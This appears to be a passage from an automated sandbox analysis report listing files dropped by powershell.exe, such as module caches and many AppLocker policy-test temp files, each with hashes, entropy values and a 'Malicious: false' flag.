Preview:	PSMODULECACHE.-...m.\3.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DirectAccessClientComponents\DirectAccessClientComponents.psd1........Set-DAEntryPointTableItem....#...Set-DAClientExperienceConfiguration...."...Enable-DAManualEntryPointSelection........Get-DAEntryPointTableItem........Reset-DAEntryPointTableItem....%...Reset-DAClientExperienceConfiguration........Remove-DAEntryPointTableItem........New-DAEntryPointTableItem....#...Get-DAClientExperienceConfiguration....#...Disable-DAManualEntryPointSelection........Rename-DAEntryPointTableItem.........)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScr

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1bbieuuo.srz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1tjq2qvv.kek.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_24qj5dcd.v4v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2dqtwux2.aqg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2qgvol3t.xka.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2wj201wb.rij.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3kdr2uih.0fz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4fsrzjt1.pii.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ibajyld.yay.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4j24nvep.ayq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4uuzo4aj.1gm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_axi13bk3.zvh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cl2juikp.qo5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dcynvuqo.xzf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dzifitju.4ms.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ggov4svl.1zf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gqxocuig.mec.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h2c0ohz4.3zp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hllqlt4j.fbe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i2w4pcun.kkf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jja23omj.cja.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kkqu5l0l.zrc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m1jvynpz.4xe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mejag4l5.d5n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nanaydmm.l41.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ndcvdi1k.yu1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nrjo34w3.4sa.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oadkkmpi.gty.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rqmdotsc.lsi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rqzkm3sf.r2n.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sdmsbauz.fkj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5g112bb.e03.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tdq4eldm.qbn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
